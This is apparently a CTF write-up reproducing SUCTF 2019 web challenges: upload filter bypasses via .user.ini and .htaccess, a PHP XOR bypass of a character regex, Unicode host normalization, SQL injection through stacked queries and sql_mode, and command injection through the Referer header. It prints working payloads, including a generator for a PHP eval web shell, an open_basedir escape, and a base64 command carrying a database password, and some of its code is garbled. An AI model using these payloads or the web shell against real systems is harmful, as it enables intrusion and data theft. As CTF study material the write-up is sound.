SUCTF Web Challenge Reproduction Notes

Summary0x01 CheckIn. The Docker image failed, so only the approach is summarized. The challenge appears inspired by Insomni'hack 2019. Uploads fail if the file contains <?, has only an extension such as .htaccess or .txt, uses a forbidden extension…

CTFSUCTF

0x01 CheckIn

The supplied Docker image failed, likely because it was not a runnable build, so only the approach is summarized. The challenge appears inspired byInsomnihack 2019approach. Uploads fail under these conditions:

  • If the file has only an extension, such as .htaccess or .txt,
  • the file extension is forbidden
  • fails exif_imagetype validation.
  • getimagesize does not return 1337 × 1337.

The detailed bypass is omitted here; see:https://thibaudrobin.github.io/articles/bypass-filter-upload/

Returning to this challenge, it has fewer restrictions, but compared withInsomnihack 2019The difference is that it uses Apache's.htaccessbehavior, while this challenge uses Nginx's .user.ini If you read the article linked above, the solution should be clear: use.user.inito construct the backdoor, using.user.iniconfigured 'special file' to execute chosen commands. The flow is:

  • Upload .user.ini and use auto_append_file or auto_prepend_file to construct an executable file, for example:png/jpg/giffile
  • Then upload the constructedpng/jpg/giffile containing executable PHP code, such as:
TEXT
<script language="php"> system("ls")</script>

Remember to bypassexif_imagvalidation

  • Finally, execute system commands through the uploaded image file.

0x02 EasyPHP

The official Docker setup for this challenge also failed, so proceed directly to the intended approach.

TEXT
<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!!
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^");
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^");
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

The source is provided. The path to the flag is clear: use _GET request, bypassing the regex and executing get_the_flag()function to obtain the flag.

The key question is how to bypass this regular expression:

TEXT

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

There is also a length limit:

TEXT
if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

TEXT
if(strlen($character_type)>12) die("Almost there!");

Ignoring the length limit for now, write a PHP script to fuzz the regular expression and identify usable characters:

TEXT
<?php

    $fuzzing_str_urldecode = array();
    $fuzzing_str_urlencode = array();
    for ($ascii = 0; $ascii < 256; $ascii++) {

        if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($ascii))) {
            $fuzzing_str_urldecode[] = chr($ascii).' ';
            $fuzzing_str_urlencode[] = urlencode(chr($ascii)).' ';
        }
    }
    print_r(implode($fuzzing_str_urldecode) );
    echo '<br>';
    print_r(implode($fuzzing_str_urlencode));
?>

Result:

1.png

Usable characters:

TEXT
! # $ % ( ) * + - / : ; < > ? @ \ ] ^ { } � � � � � �
TEXT
%80 %81 %82 %83 %84 %85 %86 %87 %88 %89 %8A %8B %8C %8D %8E %8F %90 %91 %92 %93 %94 %95 %96 %97 %98 %99 %9A %9B %9C %9D %9E %9F %A0 %A1 %A2 %A3 %A4 %A5 %A6 %A7 %A8 %A9 %AA %AB %AC %AD %AE %AF %B0 %B1 %B2 %B3 %B4 %B5 %B6 %B7 %B8 %B9 %BA %BB %BC %BD %BE %BF %C0 %C1 %C2 %C3 %C4 %C5 %C6 %C7 %C8 %C9 %CA %CB %CC %CD %CE %CF %D0 %D1 %D2 %D3 %D4 %D5 %D6 %D7 %D8 %D9 %DA %DB %DC %DD %DE %DF %E0 %E1 %E2 %E3 %E4 %E5 %E6 %E7 %E8 %E9 %EA %EB %EC %ED %EE %EF %F0 %F1 %F2 %F3 %F4 %F5 %F6 %F7 %F8 %F9 %FA %FB %FC %FD %FE %FF

Use the characters found by fuzzing to construct _GET, then invoke get_the_flag through _GET. The fuzzing script begins with a local fuzzing.php file:

TEXT
<?php
    $_ = $_GET['a'] ^ $_GET['b'];
    // why ^ ?
    // see: https://www.smi1e.top/php%E4%B8%8D%E4%BD%BF%E7%94%A8%E6%95%B0%E5%AD%97%E5%AD%97%E6%AF%8D%E5%92%8C%E4%B8%8B%E5%88%92%E7%BA%BF%E5%86%99shell/
    if($_ == '_GET')
        print_r('Success:'.urlencode($_GET['a']).' ^ '.urlencode($_GET['b']));
?>

Then write a Python script to fuzz it:

TEXT
#!/usr/bin/env python
#encoding=utf-8

import requests
import itertools
import urllib
from bs4 import BeautifulSoup

def request_get(url,get_a,get_b):
	url = url + '?a=%s&b=%s' % (get_a,get_b)
	r = requests.get(url)
	find_msg = BeautifulSoup(r.text, "html.parser")
	str = "ERROR"
	if str in find_msg:
		#print (r.url)
		re = 0
	else:
		print (r.url)
		re = r.text

	return re

def fuzz_get_a():
	ascii = ['%21','%23','%24','%25','%28','%29','%2A','%2B','-','%2F','%3A','%3B','%3C','%3E','%3F','%40','%5C','%5D','%5E','%7B','%7D','%80','%81','%82','%83','%84','%85','%86','%87','%88','%89','%8A','%8B','%8C','%8D','%8E','%8F','%90','%91','%92','%93','%94','%95','%96','%97','%98','%99','%9A','%9B','%9C','%9D','%9E','%9F','%A0','%A1','%A2','%A3','%A4','%A5','%A6','%A7','%A8','%A9','%AA','%AB','%AC','%AD','%AE','%AF','%B0','%B1','%B2','%B3','%B4','%B5','%B6','%B7','%B8','%B9','%BA','%BB','%BC','%BD','%BE','%BF','%C0','%C1','%C2','%C3','%C4','%C5','%C6','%C7','%C8','%C9','%CA','%CB','%CC','%CD','%CE','%CF','%D0','%D1','%D2','%D3','%D4','%D5','%D6','%D7','%D8','%D9','%DA','%DB','%DC','%DD','%DE','%DF','%E0','%E1','%E2','%E3','%E4','%E5','%E6','%E7','%E8','%E9','%EA','%EB','%EC','%ED','%EE','%EF','%F0','%F1','%F2','%F3','%F4','%F5','%F6','%F7','%F8','%F9','%FA','%FB','%FC','%FD','%FE','%FF']
	result_a = list(map(lambda x:''.join(x), itertools.permutations(ascii, 4)))
	return result_a


def fuzz_get_b():
	ascii =  ['%21','%23','%24','%25','%28','%29','%2A','%2B','-','%2F','%3A','%3B','%3C','%3E','%3F','%40','%5C','%5D','%5E','%7B','%7D','%80','%81','%82','%83','%84','%85','%86','%87','%88','%89','%8A','%8B','%8C','%8D','%8E','%8F','%90','%91','%92','%93','%94','%95','%96','%97','%98','%99','%9A','%9B','%9C','%9D','%9E','%9F','%A0','%A1','%A2','%A3','%A4','%A5','%A6','%A7','%A8','%A9','%AA','%AB','%AC','%AD','%AE','%AF','%B0','%B1','%B2','%B3','%B4','%B5','%B6','%B7','%B8','%B9','%BA','%BB','%BC','%BD','%BE','%BF','%C0','%C1','%C2','%C3','%C4','%C5','%C6','%C7','%C8','%C9','%CA','%CB','%CC','%CD','%CE','%CF','%D0','%D1','%D2','%D3','%D4','%D5','%D6','%D7','%D8','%D9','%DA','%DB','%DC','%DD','%DE','%DF','%E0','%E1','%E2','%E3','%E4','%E5','%E6','%E7','%E8','%E9','%EA','%EB','%EC','%ED','%EE','%EF','%F0','%F1','%F2','%F3','%F4','%F5','%F6','%F7','%F8','%F9','%FA','%FB','%FC','%FD','%FE','%FF']
	result_b = list(map(lambda x:''.join(x), itertools.permutations(ascii,4)))
	return result_b

if __name__ == "__main__":
	url = http://localhost/day/test/fuzzing.php
	get_a = fuzz_get_a()
	get_b = fuzz_get_b()
	for k in range(1,200000000):
		for t in range(1,200000000):
			request_get(url,get_a[k],get_b[t])

The rough script ran for a long time without finding _GET. Reducing the character set and fixing get_a[k] to a constant finally produced a result:

2.png
3.png
TEXT
_GET:
%FA%FA%FA%FA ^ %A5%BD%BF%AE
%FB%FB%FB%FB ^ %A4%BC%BE%AF
%FE%FE%FE%FE ^ %A1%B9%BB%AA
%FF%FF%FF%FF ^ %A0%B8%BA%AB

A _POST expression is also provided here:

TEXT
_POST:
%A0%A0%A0%A0%A0^%FF%F0%EF%F3%F4

Later, z3r0yu shared a script from the ChaMd5 team writeup:

TEXT
<?php
function gen($pl) {
 $aa = "";
 $bb = "";
 for ($j = 0; $j < strlen($pl); $j++) {
  for ($i = 0xa0; $i < 0xff; $i++) {
   if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($i)) == 0) {
    $t = chr($i) ^ $pl[$j];
    if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $t) == 0) {
     $aa .= chr($i);
     $bb .= $t;
     break;
    }
   }
  }
 }
 return str_replace("%", "\x", urlencode($aa) . "^" . urlencode($bb) . "\r\n");
}
echo "_GET\r\n";
echo gen("_GET");
echo "_POST\r\n";
echo gen("_POST");

It generates the files directly—useful to learn.

The first stage is complete. These strings can now execute commands with the following payload:

TEXT
${%FA%FA%FA%FA^%A5%BD%BF%AE}{%FA}();&%FA=get_the_flag

Next comes the upload. It uses the .htaccess behavior described in 0x01 CheckIn:

Use this script to generate .htaccess and an exploitable backdoor file:

TEXT
#!/usr/bin/python3

# Will prove the file is a legit xbitmap file and the size is 1337x1337
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
	phpfile = open(filename, 'wb')

	phpfile.write(script.encode('utf-16be'))
	phpfile.write(SIZE_HEADER)

	phpfile.close()

def generate_htacess():
	htaccess = open('.htaccess', 'wb')

	htaccess.write(SIZE_HEADER)
	htaccess.write(b'AddType application/x-httpd-php .php16\n')
	htaccess.write(b'php_value zend.multibyte 1\n')
	htaccess.write(b'php_value zend.detect_unicode 1\n')
	htaccess.write(b'php_value display_errors 1\n')

	htaccess.close()

generate_htacess()

generate_php_file("shell.south", "<?php eval($_GET['cmd']); die(); ?>")

Running it creates two files in the current directory; one is.htaccess; one isshell.south

Then useshell.southfile to execute commands, but the system has enabledopen_basedir , which cannot be used directly.lsList a directory with a command.

But it can still be bypassed:

https://skysec.top/2019/06/10/2019 0ctf final Web Writeup(1)/

The final payload is:

TEXT
http://xxx.xxx.xxx.xxx/upload/tmp_xxxxxxxxxxxxxxxxxxxxxxxx/shell.south?cmd=chdir('/tmp');mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('pen_basedir','/');var_dump(ini_get('open_basedir'));var_dump(glob('*'));

Use this to locate the flag and then read it.

0x03 Pythonginx

This challenge is based on a Black Hat USA 2019 presentation.HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization

Download:https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf

For all conference materials, see:https://forum.90sec.com/t/topic/298

4.png
5.png
6.png

The main lesson of the HostSplit article is that special URL characters can produce unexpected output. It provides several candidate characters:

7.png

The remaining work is to fuzz usable characters, read the Nginx configuration, and locate the flag.

8.png
9.png

The detailed process is omitted. See the official writeup or team writeups in the references.

0x04 easy_sql

Inspect the source directly:

TEXT
<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

    ?>

The SQL statement is:

TEXT
$sql = "select ".$post['query']."||flag from Flag";

The following statement can therefore be constructed:

TEXT
Select *,1 || flag from Flag

This is equivalent to selecting every field from the flag table, so the flag is returned directly.

10.png

The official writeup reveals this was unintended. The intended solution uses sql_mode: setting it to PIPES_AS_CONCAT changes || into string concatenation, so any string is returned concatenated with FLAG. The official payload is:

TEXT
1;set sql_mode=pipes_as_concat;select 1

0x05 Cocktail's Remix

The organizers did not provide working source for reproduction, so only the main approach is summarized. The challenge contains an arbitrary file-download vulnerability.

TEXT
http://47.111.59.243:9016/download.php?filename=xxxxx

Download the configuration file, then find an extension related to the challenge name in info.php:mod_Cocktail

Reverse engineering the file yields:

  • Read the Referer header.
  • Pass the Referer through j_remix and send the decoded string to popen.
  • j_remix Base64-decodes the string.

The exploit point is the Referer header. Base64-encode the payload and submit it:

TEXT
bXlzcWwgLWggTXlzcWxTZXJ2ZXIgLXUgZGJhIC1wck5oSG1tTmtOM3h1NE1CWWhtIC1lICdzZWxlY3QgKiBmcm9tICBmbGFnLmZsYWc7Jw==

0x06 Other Notes

Upload Labs 2 and iCloudMusic remain to be reviewed; both offer substantial room for further study. CTF is valuable for what it teaches rather than rank alone. Challenges are often novel and incorporate recent security knowledge, making them useful for learning.

0x07 References

Official SUCTF 2019 Writeup https://team-su.github.io/passages/2019-08-22-SUCTF/?nsukey=3hbB1nNVK8IOJb1BedTGPG2ZmZsVZwVxyHIoT%2BEaiqr7iGJc9ZxKpkPOIMSxOhBkNTwNVpDNWGQLpvROOeYEjivFGK8y36eLHC4EWM1RB6w0%2Fpe%2Bae%2BPfkEStMCcErpksCMm9FzZmL5no%2FsFtcPnBucUAgZ8f%2B4IMJ2r45IUfrZFUWlCIwxLg2RXbyUds%2FuwJYg8AYKcd%2BY%2ByypJBBB5XA%3D%3D

SUCTF 2019 Writeup — De1ta https://xz.aliyun.com/t/6042#toc-27

SUCTF Writeup, Part 1 — ChaMd5 Team https://mp.weixin.qq.com/s/bgWwPPjFsiviFxMgNxjUIg

SUCTF Source Code https://github.com/team-su/SUCTF-2019